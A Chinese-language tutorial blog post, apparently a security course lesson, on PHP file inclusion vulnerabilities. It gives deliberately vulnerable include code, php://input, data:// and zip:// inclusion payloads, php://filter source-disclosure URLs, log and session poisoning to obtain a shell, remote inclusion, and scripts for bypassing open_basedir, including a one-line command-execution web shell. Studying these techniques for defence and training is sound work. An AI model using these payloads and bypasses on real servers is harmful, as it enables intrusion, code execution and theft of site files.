第十天文件包含漏洞 php伪协议

第十天文件包含漏洞 php伪协议

文件包含漏洞

  • PHP中常见包含文件函数
    • 常见文件包含漏洞代码
    • 文件包含漏洞的危害
  • 伪协议
    • php使用input读取post请求体的内容
    • Data:// 数据
    • Zlib:// 压缩流
  • 文件包含的漏洞的分类
    • 本地文件包含
    • **1.上传图片马**
    • 2.读取本地文件filter
    • 3.包含日志文件GetShell
    • 4.包含session文件拿shell
    • 远程文件包含
  • open_basedir bypass

什么是文件包含

     程序开发人员一般会把重复使用的函数写到单个文件中,需要使用某个函数时直接调用此文件。而无需再次编写,这种 文件调用的过程一般被称为文件包含。

例如:include “conn.php”

PHP中常见包含文件函数

 include()
当使用该函数包含文件时,只有代码执行到include()函数时才将文件包含进来,发生错误时之给出一个警告,继续向下执行。

 include_once() 功能与Include()相同,区别在于当重复调用同一文件时,程序只调用一次

 require()
require()与include()的区别在于require()执行如果发生错误,函数会输出错误信息,并终止脚本的运行。

 require_once()
功能与require()相同,区别在于当重复调用同一文件时,程序只调用一次。File_get_contents() Fopen()

区别 (面试必问)
	@ 	include :包含的文件不存在,程序会继续执行
	@	require :包含文件不存在,程序停止执行
    @(如果出现语法错误,两个不会继续执行,
    @ 如果是找不到这个文件,include继续执行,require,停止执行)

文件包含漏洞产生的原因是在通过引入文件时,包含的文件名,用户可控,由于传入的文件名没有经过合理的校验,或者校验被绕过。

常见文件包含漏洞代码

if(isset($_GET[page])){include $_GET[page];}else{include "home.php";

文件包含漏洞的危害

配合文件上传漏洞GetShell
• 可以执行任意脚本代码(php://input)(即使没有文件上传也能执行脚本代码)
• 网站源码文件以及配置文件泄露 (php://filter/read=convert.base64-encode/resource=bihuo.php)(及时没有文件上传也能读取)
• 远程包含GetShell
控制整个网站甚至是服务器

伪协议

常见的伪协议

file:// 访问本地文件系统
http:// 访问 HTTPs 网址
ftp:// 访问 ftp URL
Php:// 访问输入输出流
Zlib:// 压缩流
Data:// 数据
Ssh2:// security shell2
Expect:// 处理交互式的流
Glob:// 查找匹配的文件路径

在这里插入图片描述

php使用input读取post请求体的内容

在这里插入图片描述

漏洞代码

$content = file_get_contents('php://input');
echo $content;
include 'php://input';

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

Data:// 数据

漏洞代码

<?php
    @$file  = $_GET['file'];
    @include($file);
?>

通过data://text/plain协议来进行漏洞利用

include.php?file=data:text/plain,<?php phpinfo();?>

在这里插入图片描述

发现不能使用,而且自己的代码没有问题啊? 这里需要编码

在这里插入图片描述

也可以使用base64
在这里插入图片描述

通过实验发现这个可能是编码的问题因为<?php phpinfo();?>在编成base64的时候出现了+。而浏览器不认识+号。所以解决方法
不写后面的?> 因为PHP里面其实不需要写后面的 前面的;号就已经说明结束了。如果没有;号就必须写?>作为结束。
添加空格改变base64编码。 将+号换成%2b 所以其实不需要通过base64编码来实现!!! 将<?php
phpinfo();?>改变成url编码。这样浏览器可以识别!

Zlib:// 压缩流

zip 协议 zip://压缩文件的路径#实际包含的文件的路径

其中压缩文件的路径可以使用绝对路径或者是相对路径

index.php?file=zip://upload/2.jpg%23shell.txt

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

文件包含的漏洞的分类

@本地文件包

含如果包含的文件 存在于php所在的服务器上
考虑上传一个文件点 + 找到该上传文件所在的位置

@远程文件包含

本地文件包含和远程文件包含造成漏洞的原因是一样的,当php.ini
中的配置选项allow_url_fopen(是否允许通过一个url进行包含)和allow_url_include为ON的话,则包含的
文件可以是第三方服务器中的文件,这样就形成了远程文件包含漏洞。

在这里插入图片描述

在这里插入图片描述

本地文件包含

@上传图片马,包含图片马GetShell
@读取网站源码以及配置文件
@包含日志文件GetShell
@包含session文件拿shell

1.上传图片马

上传图片马

在这里插入图片描述

构造url:https://up-gz.zsyts.cn/wp-content/uploads/2023/06/0d02bfc553bc09f994b8be627fbd90d4.jpeg
在这里插入图片描述

2.读取本地文件filter

伪协议的运用

$file = @$_GET['file'];
if (isset($file)) {
    include $file;
} else {
    echo 'please enter the file name ';
}

php://filter

在这里插入图片描述

在这里插入图片描述

http://www.localhost.com/yui/include.php?file=php://filter/read=convert.base64-encode/resource=phpinfo.php

在这里插入图片描述

3.包含日志文件GetShell

  1. 首先 找到日志文件存放位置
  2. 让日志文件插入PHP代码
  3. 包含日志文件

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

实际中要猜目录
在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

成功文件包含

在这里插入图片描述

在这里插入图片描述

1.开启linux apache 服务

service apache2 start
service ssh start
必须是管理员模式

在这里插入图片描述

开启服务
在这里插入图片描述

linux 下的apache 服务器日志文件在

var/log/auth.log

在这里插入图片描述

在这里插入图片描述

> chmod 0777 ./auth.log  //修改权限任何用户都可以访问

在这里插入图片描述

4.包含session文件拿shell

漏洞代码

<?php
session_start();
echo $_SESSION['name'] = $_GET[1];
?>

可以向session传值

在这里插入图片描述

在这里插入图片描述

包含session文件 phpinfo 获得对应的目录
session值 拼接出最终的文件名
先写进去

在这里插入图片描述

文件包含
在这里插入图片描述

远程文件包含

随便写一个

<?php
$file =$_GET['file'];
if (isset($file)){
     include $file;
}
else{
    echo '开拓视野,冲破艰险,洞悉所有,贴近生活,寻找真爱,感受彼此。 这就是人生的目的';
}

尝试远程文件包含

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

此时位于kali linux 主机上的bihuo.txt文件执行

include 远程包含 本质上是将服务器返回的响应包中的内容 来进行一个打印

open_basedir bypass

在这里插入图片描述

只允许访问指定目录

在这里插入图片描述

在这里插入图片描述

ini_set('open_basedir', dirname(__FILE__));
printf("<b>open_basedir: %s</b><br />", ini_get('open_basedir'));
set_error_handler('judgePathExist');
$dir = 'C:/phpStudy/WWW/haha/';
$file = '';
$chars = 'abcdefghijklmnopqrstuvwxyz0123456789_';
for ($i = 0; $i < strlen($chars); $i++) {
    $file = $dir . $chars[$i] . '<><';
    realpath($file);
}
function judgePathExist($errno, $errstr)
{
    $regexp = '/File\((.*)\) is not within/';
    preg_match($regexp, $errstr, $matches);
    if (isset($matches[1])) {
        printf("%s <br/>", $matches[1]);
    }
} 

ini_get 就相当于从php.ini文件中获取open_basedir属性的值

在这里插入图片描述

设置错误处理句柄
在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

第二种

<meta charset="utf-8">
<?php
ini_set('open_basedir', dirname(__FILE__));
printf("<b>open_basedir: %s</b><br />", ini_get('open_basedir'));
$basedir = $_GET['file'];
$chars = 'abcdefghijklmnopqrstuvwxyz0123456789_.';
$s = '';
$arr = array("\\");
$resut = array();
for ($j = 1; $j < 8; $j++)//可能开头$j位相同
{
    for ($i = 0;
         $i < strlen($chars);
         $i++) {
        foreach ($arr
                 as $value) {
            $info = new SplFileInfo($basedir . "\\" . $value . $chars[$i] . '<><');
            $re = $info->getRealPath();
            if ($re) {
                if (!in_array($re, $resut)) {
                    array_push($resut, $re);
                }
                $re = substr($re, strripos($re, "\\") + 1, $j);
                $s = $s . '|' . $re;
                echo $s . '<br/>';
                ob_flush();
                flush();
            }
        }
    }
    $arr = explode('|', $s);
}
print("result is here:<br>");
foreach ($resut as $value) {
    echo $value . "<br>";
}
?>

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

利用这个函数
在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

Glob协议
在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

windows 打印文件内容
利用命令执行 绕过open_basedir的限制

<?php
ini_set('open_basedir', dirname(__FILE__));
printf("<b>open_basedir: %s</b><br />", ini_get('open_basedir'));
system($_GET['cmd']);

在这里插入图片描述

open_basedir bug
第一次 ini_set有效

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

**加粗样式**

在这里插入图片描述

在这里插入图片描述

  1. realpath 获得文件名 缺点?同字母开头的文件只打印一份
    2.SplFileInfo 调用GetRealPath 函数 好处: 同名文件可以打印多份
    3.glob linux操作系统
    4.ini_set联合chdir 直接可以读取文件内容
    5.命令执行 获取文件内容

在这里插入图片描述

在这里插入图片描述

<?php
echo 'now the php.ini open_basedir :'.ini_get('open_basedir');
mkdir('roge');
chdir('bihuo');
ini_set('open_basedir','..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
ini_set('open_basedir','C:/');
echo file_get_contents('c:/bihuo.txt');
                       

点击阅读全文

上一篇 2023年 6月 7日 am10:33
下一篇 2023年 6月 7日 am10:36